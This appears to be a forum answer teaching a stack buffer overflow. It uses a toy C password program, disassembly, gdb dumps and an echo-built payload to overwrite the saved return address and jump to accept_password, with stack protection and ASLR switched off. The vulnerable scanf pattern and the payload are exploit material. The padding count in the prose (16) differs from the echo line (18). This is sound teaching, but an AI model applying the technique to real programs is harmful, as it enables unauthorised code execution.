In most implementations, the char data type is equivalent to a byte. Meaning a string is just a series of arbitrary bytes, and vice versa. Those bytes do not have to be human-readable. I'll demonstrate on my system, with a slight modification to the source to make things a little clearer in the disassembly:

#include <stdio.h> #include <string.h> void accept_password() { printf("\nPassword accepted\n"); } void deny_password() { printf("\nPassword denied\n"); } void main() { char ch[10]; scanf("%s", ch); // Note that strcmp() returns 0 when a match is found, // so your original code was backwards if(strcmp("12345", ch) == 0) { accept_password(); } else { deny_password(); } } 

You will find your exercises slightly easier if you compile with -fno-omit-frame-pointer. It is frequent to see this option enabled in production code though, so don't come to rely too much on the advantages it provides.

00000000000011bb <main>: 11bb: 55 push %rbp 11bc: 48 89 e5 mov %rsp,%rbp 11bf: 48 83 ec 20 sub $0x20,%rsp 11c3: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax 11ca: 00 00 11cc: 48 89 45 f8 mov %rax,-0x8(%rbp) 11d0: 31 c0 xor %eax,%eax 11d2: 48 8d 45 ee lea -0x12(%rbp),%rax 11d6: 48 89 c6 mov %rax,%rsi 11d9: 48 8d 3d 48 0e 00 00 lea 0xe48(%rip),%rdi # 2028 <_IO_stdin_used+0x28> 11e0: b8 00 00 00 00 mov $0x0,%eax 11e5: e8 76 fe ff ff callq 1060 <__isoc99_scanf@plt> 11ea: 48 8d 45 ee lea -0x12(%rbp),%rax 11ee: 48 89 c6 mov %rax,%rsi 11f1: 48 8d 3d 33 0e 00 00 lea 0xe33(%rip),%rdi # 202b <_IO_stdin_used+0x2b> 11f8: e8 53 fe ff ff callq 1050 <strcmp@plt> 11fd: 85 c0 test %eax,%eax 11ff: 75 0c jne 120d <main+0x52> 1201: b8 00 00 00 00 mov $0x0,%eax 1206: e8 8a ff ff ff callq 1195 <accept_password> 120b: eb 0a jmp 1217 <main+0x5c> 120d: b8 00 00 00 00 mov $0x0,%eax 1212: e8 91 ff ff ff callq 11a8 <deny_password> 1217: 90 nop 1218: 48 8b 45 f8 mov -0x8(%rbp),%rax 121c: 64 48 2b 04 25 28 00 sub %fs:0x28,%rax 1223: 00 00 1225: 74 05 je 122c <main+0x71> 1227: e8 14 fe ff ff callq 1040 <__stack_chk_fail@plt> 122c: c9 leaveq 122d: c3 retq 122e: 66 90 xchg %ax,%ax 

Note the function call at offset 0x1227 (offset 0x11d9 in your code). That is GCC's stack protector feature which will foil our exploit even if we manage to achieve it. It's enabled by default in recent versions of GCC. So make sure to compile with -fno-stack-protector and that will go away.

Let's type the string AAAAA as input to start. Inspecting the memory at $rbp-0x10 looks like this:

(gdb) x/8xg $rbp-0x10 0x7fffffffd0e0: 0x41417fffffffd1e0 0x0000000000414141 0x7fffffffd0f0: 0x0000555555555200 0x00007ffff7e0ee3a 0x7fffffffd100: 0x00007fffffffd1e8 0x00000001ffffd7b9 0x7fffffffd110: 0x00005555555551ab 0x00007ffff7e0ec85 

Inspect the stack frame:

(gdb) info frame Stack level 0, frame at 0x7fffffffd100: rip = 0x5555555551cb in main (test.c:18); saved rip = 0x7ffff7e0ee3a source language c. Arglist at 0x7fffffffd0f0, args: Locals at 0x7fffffffd0f0, Previous frame's sp is 0x7fffffffd100 Saved registers: rbp at 0x7fffffffd0f0, rip at 0x7fffffffd0f8 

We want to target the saved rip with an address of 0x7ffff7e0ee3a which you can see is on the right-hand side of address 0x7fffffffd0f0. Let's stuff a few more A's in there:

0x7fffffffd0e0: 0x41417fffffffd1e0 0x4141414141414141 0x7fffffffd0f0: 0x4141414141414141 0x00007ffff7e0ee00 0x7fffffffd100: 0x00007fffffffd1e8 0x00000001ffffd7b9 0x7fffffffd110: 0x00005555555551ab 0x00007ffff7e0ec85 0x7fffffffd120: 0x0000000000000000 0x67d5660bbfbf3d01 0x7fffffffd130: 0x0000555555555070 0x0000000000000000 0x7fffffffd140: 0x0000000000000000 0x0000000000000000 0x7fffffffd150: 0x3280335eb9bf3d01 0x32802360c0593d01 

This is 16 A's of padding. You'll have to figure out the exact number on your system yourself. Next, take a look at the loaded assembly in gdb using layout asm. Look for the call to accept_password, on my system the line is:

0x5555555551e7 <main+60> call 0x555555555185 <accept_password> 

This is the actual address it is loaded into memory at, rather than the raw offset you see with objdump. That is the memory address we want to put into the next eight bytes. However we can't type those bytes in with a keyboard as they are not valid ASCII characters. So what we'll do instead is dump them into a file, then pipe the file in via redirection. Note that you have to write out the bytes in reverse order, because x86 is a little-endian architecture!

echo -e "AAAAAAAAAAAAAAAAAA\x85\x51\x55\x55\x55\x55" > test.txt 

Execute in gdb with:

r < test.txt 

Now our memory space looks like this:

(gdb) x/16xg $rbp-0x10 0x7fffffffd0e0: 0x41417fffffffd1e0 0x4141414141414141 0x7fffffffd0f0: 0x4141414141414141 0x0000555555555185 0x7fffffffd100: 0x00007fffffffd1e8 0x00000001ffffd7b9 0x7fffffffd110: 0x00005555555551ab 0x00007ffff7e0ec85 0x7fffffffd120: 0x0000000000000000 0xaa3f47a296454268 0x7fffffffd130: 0x0000555555555070 0x0000000000000000 0x7fffffffd140: 0x0000000000000000 0x0000000000000000 0x7fffffffd150: 0xff6a12f790454268 0xff6a02c9e9a34268 

and our stack frame looks like this:

(gdb) info frame Stack level 0, frame at 0x7fffffffd100: rip = 0x5555555551cb in main (test.c:18); saved rip = 0x555555555185 source language c. Arglist at 0x7fffffffd0f0, args: Locals at 0x7fffffffd0f0, Previous frame's sp is 0x7fffffffd100 Saved registers: rbp at 0x7fffffffd0f0, rip at 0x7fffffffd0f8 

Note how saved rip has been overwritten with the address of accept_password. Now all we need to do is continue execution and our exploit is successful:

(gdb) r < test.txt Starting program: /home/matoro/documents/scripting/test < test.txt Password denied Password accepted Program received signal SIGILL, Illegal instruction. 0x00007fffffffd1ea in ?? () 

(the exploit actually fires when main() returns). You may be tempted to try this outside of gdb, but you will find that it does not work. That is because of ASLR, which is turned on by default in most modern distros. You will have to either turn that off (see here) or try creating a NOP sled to defeat it, but that's beyond the scope of this answer. Hope this helps!